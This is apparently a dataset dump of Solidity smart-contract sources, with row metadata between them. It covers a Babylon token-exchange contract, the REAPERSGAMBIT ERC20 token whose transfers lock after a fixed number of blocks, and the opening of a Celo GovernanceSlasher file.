allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to,
uint256 _amount)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintAndBurnToken is MintableToken {
// -----------------------------------
// BURN FUNCTIONS
// -----------------------------------
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who], "must have balance greater than burn value");
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract BabyloniaToken is MintAndBurnToken {
// DetailedERC20 variables
string public name = "Babylonia Token";
string public symbol = "BBY";
uint8 public decimals = 18;
}
contract EthPriceOracleI {
function compute() public view returns (bytes32, bool);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract Babylon is Pausable {
using SafeMath for uint256;
using SafeERC20 for BabyloniaToken;
event TokenExchangeCreated(address indexed recipient, uint amount, uint releasedAt);
event TokenExchangeReleased(address indexed recipient);
BabyloniaToken private babyloniaToken;
StandardToken private helbizToken;
EthPriceOracleI private ethPriceOracle;
uint public INITIAL_CIRCULATION_BBY = 80000000; // the amount of BBY tokens available for the token swap
uint public MIN_EXCHANGE_BBY = SafeMath.mul(1000, 10**18); // minimum amount of BBY tokens for an exchange
uint public exchangeRate; // HBZ tokens we receive per BBY
uint8 public usdCentsExchangeRate; // USD cents we receive per BBY
uint32 public exchangeLockTime; // time (seconds) after an exchange before the sender can claim their BBY tokens
uint public babyloniaTokensLocked; // the amount of BBY tokens locked for exchange
bool public ethExchangeEnabled; // whether we are accepting ETH for BBY
struct TokenExchange {
address recipient; // the address to receive BBY in exchange for HBZ
uint amountHBZ; // amount in HBZ
uint amountBBY; // amount in BBY
uint amountWei; // amount in Wei
uint createdAt; // datetime created
uint releasedAt; // datetime when BBY can be redeemed
}
mapping(address => uint) private activeTokenExchanges;
TokenExchange[] private tokenExchanges;
modifier activeTokenExchange() {
require(activeTokenExchanges[msg.sender] != 0, "must be an active token exchange");
_;
}
modifier noActiveTokenExchange() {
require(activeTokenExchanges[msg.sender] == 0, "must not have an active token exchange");
_;
}
modifier whenEthEnabled() {
require(ethExchangeEnabled);
_;
}
constructor(address _helbizCoinAddress,
address _babyloniaTokenAddress,
address _ethPriceOracleAddress,
uint8 _exchangeRate,
uint8 _usdCentsExchangeRate,
uint32 _exchangeLockTime) public {
helbizToken = StandardToken(_helbizCoinAddress);
babyloniaToken = BabyloniaToken(_babyloniaTokenAddress);
ethPriceOracle = EthPriceOracleI(_ethPriceOracleAddress);
exchangeRate = _exchangeRate;
usdCentsExchangeRate = _usdCentsExchangeRate;
exchangeLockTime = _exchangeLockTime;
paused = true;
// take care of zero-index for storage array
tokenExchanges.push(TokenExchange({
recipient: address(0),
amountHBZ: 0,
amountBBY: 0,
amountWei: 0,
createdAt: 0,
releasedAt: 0
}));
}
function() public payable {
require(msg.value == 0, "not accepting ETH");
}
function withdrawHBZ(address _to) external onlyOwner {
require(_to != address(0), "invalid _to address");
require(helbizToken.transfer(_to, helbizToken.balanceOf(address(this))));
}
function withdrawETH(address _to) external onlyOwner {
require(_to != address(0), "invalid _to address");
_to.transfer(address(this).balance);
}
function withdrawBBY(address _to, uint _amountBBY) external onlyOwner {
require(_to != address(0), "invalid _to address");
require(_amountBBY > 0, "_amountBBY must be greater than 0");
require(babyloniaToken.transfer(_to, _amountBBY));
}
function burnRemainderBBY() public onlyOwner {
uint amountBBY = SafeMath.sub(babyloniaToken.balanceOf(address(this)), babyloniaTokensLocked);
babyloniaToken.burn(amountBBY);
}
function setExchangeRate(uint8 _newRate) external onlyOwner {
require(_newRate > 0, "new rate must not be 0");
exchangeRate = _newRate;
}
function setUSDCentsExchangeRate(uint8 _newRate) external onlyOwner {
require(_newRate > 0, "new rate must not be 0");
usdCentsExchangeRate = _newRate;
}
function setExchangeLockTime(uint32 _newLockTime) external onlyOwner {
require(_newLockTime > 0, "new lock time must not be 0");
exchangeLockTime = _newLockTime;
}
function setEthExchangeEnabled(bool _enabled) external onlyOwner {
ethExchangeEnabled = _enabled;
}
function getTokenAddress() public view returns(address) {
return address(babyloniaToken);
}
function exchangeTokens(uint _amountHBZ) public whenNotPaused noActiveTokenExchange {
// sanity check
require(_amountHBZ >= MIN_EXCHANGE_BBY, "_amountHBZ must be greater than or equal to MIN_EXCHANGE_BBY");
// the contract must have enough tokens - considering the locked ones
uint amountBBY = SafeMath.div(_amountHBZ, exchangeRate);
uint contractBalanceBBY = babyloniaToken.balanceOf(address(this));
require(SafeMath.sub(contractBalanceBBY, babyloniaTokensLocked) >= amountBBY, "contract has insufficient BBY");
// transfer the HBZ tokens to this contract
require(helbizToken.transferFrom(msg.sender, address(this), _amountHBZ));
_createExchangeRecord(_amountHBZ, amountBBY, 0);
}
function exchangeEth(uint _amountBBY) public whenNotPaused whenEthEnabled noActiveTokenExchange payable {
// sanity check
require(_amountBBY > 0, "_amountBBY must be greater than 0");
bytes32 val;
(val,) = ethPriceOracle.compute();
// divide to get the number of cents in 1 ETH
uint256 usdCentsPerETH = SafeMath.div(uint256(val), 10**16);
// calculate the price of BBY in Wei
uint256 priceInWeiPerBBY = SafeMath.div(10**18, SafeMath.div(usdCentsPerETH, usdCentsExchangeRate));
// total cost in Wei for _amountBBY
uint256 totalPriceInWei = SafeMath.mul(priceInWeiPerBBY, _amountBBY);
// ensure the user sent enough funds and that we have enough BBY
require(msg.value >= totalPriceInWei, "Insufficient ETH value");
require(SafeMath.sub(babyloniaToken.balanceOf(address(this)), babyloniaTokensLocked) >= _amountBBY, "contract has insufficient BBY");
// refund any overpayment
if (msg.value > totalPriceInWei) msg.sender.transfer(msg.value - totalPriceInWei);
_createExchangeRecord(0, _amountBBY, totalPriceInWei);
}
function claimTokens() public whenNotPaused activeTokenExchange {
TokenExchange storage tokenExchange = tokenExchanges[activeTokenExchanges[msg.sender]];
uint amountBBY = tokenExchange.amountBBY;
// assert that we're past the lock period
require(block.timestamp >= tokenExchange.releasedAt, "not past locking period");
// decrease the counter
babyloniaTokensLocked = SafeMath.sub(babyloniaTokensLocked, tokenExchange.amountBBY);
// delete from storage and lookup
delete tokenExchanges[activeTokenExchanges[msg.sender]];
delete activeTokenExchanges[msg.sender];
// transfer BBY tokens to the sender
babyloniaToken.safeTransfer(msg.sender, amountBBY);
emit TokenExchangeReleased(msg.sender);
}
function getActiveTokenExchangeId() public view activeTokenExchange returns(uint) {
return activeTokenExchanges[msg.sender];
}
function getActiveTokenExchangeById(uint _id)
public
view
returns(address recipient,
uint amountHBZ,
uint amountBBY,
uint amountWei,
uint createdAt,
uint releasedAt)
{
// sanity check
require(tokenExchanges[_id].recipient != address(0));
TokenExchange storage tokenExchange = tokenExchanges[_id];
recipient = tokenExchange.recipient;
amountHBZ = tokenExchange.amountHBZ;
amountBBY = tokenExchange.amountBBY;
amountWei = tokenExchange.amountWei;
createdAt = tokenExchange.createdAt;
releasedAt = tokenExchange.releasedAt;
}
function getTokenExchangesCount() public view onlyOwner returns(uint) {
return tokenExchanges.length;
}
function _createExchangeRecord(uint _amountHBZ, uint _amountBBY, uint _amountWei) internal {
uint releasedAt = SafeMath.add(block.timestamp, exchangeLockTime);
TokenExchange memory tokenExchange = TokenExchange({
recipient: msg.sender,
amountHBZ: _amountHBZ,
amountBBY: _amountBBY,
amountWei: _amountWei,
createdAt: block.timestamp, // solium-disable-line security/no-block-members, whitespace
releasedAt: releasedAt
});
// add to storage and lookup
activeTokenExchanges[msg.sender] = tokenExchanges.push(tokenExchange) - 1;
// increase the counter
babyloniaTokensLocked = SafeMath.add(babyloniaTokensLocked, _amountBBY);
emit TokenExchangeCreated(msg.sender, _amountHBZ, releasedAt);
}
}
| 209,955 | 13,285 |
b867a25d0a0c5ee297d15977cdecabffb059e4a8ab535b66894895c4778af1d6
| 30,377 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/b2/b229a0c5f4c6cacda8342de11cd60c52134eae44_REAPERSGAMBIT.sol
| 3,241 | 13,873 |
// /| 0
// |\|/
// | |
// |/ \
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
interface IERC721A {
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
error MintERC2309QuantityExceedsLimit();
error OwnershipNotInitializedForExtraData();
// =============================================================
// STRUCTS
// =============================================================
struct TokenOwnership {
// The address of the owner.
address addr;
// Stores the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
// Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.
uint24 extraData;
}
// =============================================================
// TOKEN COUNTERS
// =============================================================
function totalSupply() external view returns (uint256);
// =============================================================
// IERC165
// =============================================================
function supportsInterface(bytes4 interfaceId) external view returns (bool);
// =============================================================
// IERC721
// =============================================================
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
// =============================================================
// IERC721Metadata
// =============================================================
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
// =============================================================
// IERC2309
// =============================================================
event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}
contract REAPERSGAMBIT is ERC20, Ownable {
address private constant BLACKHOLE_ADDRESS = address(0x000000000000000000000000000000000000dEaD);
mapping(address => uint256) private _firstReceivedBlock;
mapping(address => bool) private _immortal;
uint256[] private tokenIdUsed;
address public revivalCardNft = 0x472d94E579FE7DE54B3aDF0e26f7Af2a0b51aE42;
constructor() ERC20("REAPERS GAMBIT", "ARBRG") {
_mint(msg.sender, 999999999999999999 * 10 ** decimals());
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_firstReceivedBlock[msg.sender] + 15000 > block.number || _immortal[msg.sender], "cannot escape death");
_immortal[msg.sender] = false;
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_firstReceivedBlock[sender] + 15000 > block.number || _immortal[sender], "cannot escape death");
_immortal[msg.sender] = false;
return super.transferFrom(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
if (_firstReceivedBlock[to] == 0) {
_firstReceivedBlock[to] = block.number;
}
super._beforeTokenTransfer(from, to, amount);
}
function CheatDeath(uint256 tokenId) public {
address account = msg.sender;
IERC721A revivalCard = IERC721A(revivalCardNft);
address holderAddress = revivalCard.ownerOf(tokenId);
require(holderAddress==account,"this card not owner you");
require(revivalCard.balanceOf(account) > 0, "must hold the specific NFT to cheat death");
require(!_immortal[account], "account is already immortal");
require(!isTokenIdUsed(tokenId), "this resurrection card has already been used");
_immortal[account] = true;
tokenIdUsed.push(tokenId);
}
function AcceptDeath(address account) public onlyOwner {
_immortal[account] = false;
}
function isTokenIdUsed(uint256 tokenId) public view returns (bool) {
for (uint256 i = 0; i < tokenIdUsed.length; i++) {
if (tokenIdUsed[i] == tokenId) {
return true;
}
}
return false;
}
function KnowDeath(address account) public view returns (uint256) {
uint256 deathBlock;
if (_firstReceivedBlock[account] != 0) {
deathBlock = _firstReceivedBlock[account] + 15000;
}
if (_firstReceivedBlock[account] == 0 || _immortal[account]) {
deathBlock = 0;
}
return deathBlock;
}
}
| 43,844 | 13,286 |
8051756b0c839e06c618458d77c59f1f33ecc27d1402c73b012278d61c02df9a
| 19,113 |
.sol
|
Solidity
| false |
507660474
|
tintinweb/smart-contract-sanctuary-celo
|
81b52aac6adcf513ef4af86806a71db3704a5958
|
contracts/mainnet/68/68f04ab73b93f5175207296528454999475294d5_GovernanceSlasher.sol
| 4,849 | 18,754 |
pragma solidity ^0.5.3;
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Initializable {
bool public initialized;
modifier initializer() {
require(!initialized, "contract already initialized");
initialized = true;
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IAccounts {
function isAccount(address) external view returns (bool);
function voteSignerToAccount(address) external view returns (address);
function validatorSignerToAccount(address) external view returns (address);
function attestationSignerToAccount(address) external view returns (address);
function signerToAccount(address) external view returns (address);
function getAttestationSigner(address) external view returns (address);
function getValidatorSigner(address) external view returns (address);
function getVoteSigner(address) external view returns (address);
function hasAuthorizedVoteSigner(address) external view returns (bool);
function hasAuthorizedValidatorSigner(address) external view returns (bool);
function hasAuthorizedAttestationSigner(address) external view returns (bool);
function setAccountDataEncryptionKey(bytes calldata) external;
function setMetadataURL(string calldata) external;
function setName(string calldata) external;
function setWalletAddress(address, uint8, bytes32, bytes32) external;
function setAccount(string calldata, bytes calldata, address, uint8, bytes32, bytes32) external;
function getDataEncryptionKey(address) external view returns (bytes memory);
function getWalletAddress(address) external view returns (address);
function getMetadataURL(address) external view returns (string memory);
function batchGetMetadataURL(address[] calldata)
external
view
returns (uint256[] memory, bytes memory);
function getName(address) external view returns (string memory);
function authorizeVoteSigner(address, uint8, bytes32, bytes32) external;
function authorizeValidatorSigner(address, uint8, bytes32, bytes32) external;
function authorizeValidatorSignerWithPublicKey(address, uint8, bytes32, bytes32, bytes calldata)
external;
function authorizeValidatorSignerWithKeys(address,
uint8,
bytes32,
bytes32,
bytes calldata,
bytes calldata,
bytes calldata) external;
function authorizeAttestationSigner(address, uint8, bytes32, bytes32) external;
function createAccount() external returns (bool);
}
interface IFeeCurrencyWhitelist {
function addToken(address) external;
function getWhitelist() external view returns (address[] memory);
}
interface IFreezer {
function isFrozen(address) external view returns (bool);
}
interface IRegistry {
function setAddressFor(string calldata, address) external;
function getAddressForOrDie(bytes32) external view returns (address);
function getAddressFor(bytes32) external view returns (address);
function isOneOf(bytes32[] calldata, address) external view returns (bool);
}
interface IElection {
function getTotalVotes() external view returns (uint256);
function getActiveVotes() external view returns (uint256);
function getTotalVotesByAccount(address) external view returns (uint256);
function markGroupIneligible(address) external;
function markGroupEligible(address, address, address) external;
function electValidatorSigners() external view returns (address[] memory);
function vote(address, uint256, address, address) external returns (bool);
function activate(address) external returns (bool);
function revokeActive(address, uint256, address, address, uint256) external returns (bool);
function revokeAllActive(address, address, address, uint256) external returns (bool);
function revokePending(address, uint256, address, address, uint256) external returns (bool);
function forceDecrementVotes(address,
uint256,
address[] calldata,
address[] calldata,
uint256[] calldata) external returns (uint256);
}
interface IGovernance {
function isVoting(address) external view returns (bool);
}
interface ILockedGold {
function incrementNonvotingAccountBalance(address, uint256) external;
function decrementNonvotingAccountBalance(address, uint256) external;
function getAccountTotalLockedGold(address) external view returns (uint256);
function getTotalLockedGold() external view returns (uint256);
function getPendingWithdrawals(address)
external
view
returns (uint256[] memory, uint256[] memory);
function getTotalPendingWithdrawals(address) external view returns (uint256);
function lock() external payable;
function unlock(uint256) external;
function relock(uint256, uint256) external;
function withdraw(uint256) external;
function slash(address account,
uint256 penalty,
address reporter,
uint256 reward,
address[] calldata lessers,
address[] calldata greaters,
uint256[] calldata indices) external;
function isSlasher(address) external view returns (bool);
}
interface IValidators {
function getAccountLockedGoldRequirement(address) external view returns (uint256);
function meetsAccountLockedGoldRequirements(address) external view returns (bool);
function getGroupNumMembers(address) external view returns (uint256);
function getGroupsNumMembers(address[] calldata) external view returns (uint256[] memory);
function getNumRegisteredValidators() external view returns (uint256);
function getTopGroupValidators(address, uint256) external view returns (address[] memory);
function updateEcdsaPublicKey(address, address, bytes calldata) external returns (bool);
function updatePublicKeys(address, address, bytes calldata, bytes calldata, bytes calldata)
external
returns (bool);
function isValidator(address) external view returns (bool);
function isValidatorGroup(address) external view returns (bool);
function calculateGroupEpochScore(uint256[] calldata uptimes) external view returns (uint256);
function groupMembershipInEpoch(address account, uint256 epochNumber, uint256 index)
external
view
returns (address);
function halveSlashingMultiplier(address group) external;
function forceDeaffiliateIfValidator(address validator) external;
function getValidatorGroupSlashingMultiplier(address) external view returns (uint256);
function affiliate(address group) external returns (bool);
}
interface IRandom {
function revealAndCommit(bytes32, bytes32, address) external;
function randomnessBlockRetentionWindow() external view returns (uint256);
function random() external view returns (bytes32);
function getBlockRandomness(uint256) external view returns (bytes32);
}
interface IAttestations {
function setAttestationRequestFee(address, uint256) external;
function request(bytes32, uint256, address) external;
function selectIssuers(bytes32) external;
function complete(bytes32, uint8, bytes32, bytes32) external;
function revoke(bytes32, uint256) external;
function withdraw(address) external;
function setAttestationExpiryBlocks(uint256) external;
function getMaxAttestations() external view returns (uint256);
function getUnselectedRequest(bytes32, address) external view returns (uint32, uint32, address);
function getAttestationRequestFee(address) external view returns (uint256);
function lookupAccountsForIdentifier(bytes32) external view returns (address[] memory);
function getAttestationStats(bytes32, address) external view returns (uint32, uint32);
function getAttestationState(bytes32, address, address)
external
view
returns (uint8, uint32, address);
function getCompletableAttestations(bytes32, address)
external
view
returns (uint32[] memory, address[] memory, uint256[] memory, bytes memory);
}
interface IExchange {
function exchange(uint256, uint256, bool) external returns (uint256);
function setUpdateFrequency(uint256) external;
function getBuyTokenAmount(uint256, bool) external view returns (uint256);
function getSellTokenAmount(uint256, bool) external view returns (uint256);
function getBuyAndSellBuckets(bool) external view returns (uint256, uint256);
}
interface IReserve {
function setTobinTaxStalenessThreshold(uint256) external;
function addToken(address) external returns (bool);
function removeToken(address, uint256) external returns (bool);
function transferGold(address payable, uint256) external returns (bool);
function transferExchangeGold(address payable, uint256) external returns (bool);
function getReserveGoldBalance() external view returns (uint256);
function getUnfrozenReserveGoldBalance() external view returns (uint256);
function getOrComputeTobinTax() external returns (uint256, uint256);
function getTokens() external view returns (address[] memory);
function getReserveRatio() external view returns (uint256);
}
interface ISortedOracles {
function addOracle(address, address) external;
function removeOracle(address, address, uint256) external;
function report(address, uint256, address, address) external;
function removeExpiredReports(address, uint256) external;
function isOldestReportExpired(address token) external view returns (bool, address);
function numRates(address) external view returns (uint256);
function medianRate(address) external view returns (uint256, uint256);
function numTimestamps(address) external view returns (uint256);
function medianTimestamp(address) external view returns (uint256);
}
interface IStableToken {
function mint(address, uint256) external returns (bool);
function burn(uint256) external returns (bool);
function setInflationParameters(uint256, uint256) external;
function valueToUnits(uint256) external view returns (uint256);
function unitsToValue(uint256) external view returns (uint256);
function getInflationParameters() external view returns (uint256, uint256, uint256, uint256);
function balanceOf(address) external view returns (uint256);
}
contract UsingRegistry is Ownable {
event RegistrySet(address indexed registryAddress);
bytes32 constant ACCOUNTS_REGISTRY_ID = keccak256(abi.encodePacked("Accounts"));
bytes32 constant ATTESTATIONS_REGISTRY_ID = keccak256(abi.encodePacked("Attestations"));
bytes32 constant DOWNTIME_SLASHER_REGISTRY_ID = keccak256(abi.encodePacked("DowntimeSlasher"));
bytes32 constant DOUBLE_SIGNING_SLASHER_REGISTRY_ID = keccak256(abi.encodePacked("DoubleSigningSlasher"));
bytes32 constant ELECTION_REGISTRY_ID = keccak256(abi.encodePacked("Election"));
bytes32 constant EXCHANGE_REGISTRY_ID = keccak256(abi.encodePacked("Exchange"));
bytes32 constant FEE_CURRENCY_WHITELIST_REGISTRY_ID = keccak256(abi.encodePacked("FeeCurrencyWhitelist"));
bytes32 constant FREEZER_REGISTRY_ID = keccak256(abi.encodePacked("Freezer"));
bytes32 constant GOLD_TOKEN_REGISTRY_ID = keccak256(abi.encodePacked("GoldToken"));
bytes32 constant GOVERNANCE_REGISTRY_ID = keccak256(abi.encodePacked("Governance"));
bytes32 constant GOVERNANCE_SLASHER_REGISTRY_ID = keccak256(abi.encodePacked("GovernanceSlasher"));
bytes32 constant LOCKED_GOLD_REGISTRY_ID = keccak256(abi.encodePacked("LockedGold"));
bytes32 constant RESERVE_REGISTRY_ID = keccak256(abi.encodePacked("Reserve"));
bytes32 constant RANDOM_REGISTRY_ID = keccak256(abi.encodePacked("Random"));
bytes32 constant SORTED_ORACLES_REGISTRY_ID = keccak256(abi.encodePacked("SortedOracles"));
bytes32 constant STABLE_TOKEN_REGISTRY_ID = keccak256(abi.encodePacked("StableToken"));
bytes32 constant VALIDATORS_REGISTRY_ID = keccak256(abi.encodePacked("Validators"));
IRegistry public registry;
modifier onlyRegisteredContract(bytes32 identifierHash) {
require(registry.getAddressForOrDie(identifierHash) == msg.sender, "only registered contract");
_;
}
modifier onlyRegisteredContracts(bytes32[] memory identifierHashes) {
require(registry.isOneOf(identifierHashes, msg.sender), "only registered contracts");
_;
}
function setRegistry(address registryAddress) public onlyOwner {
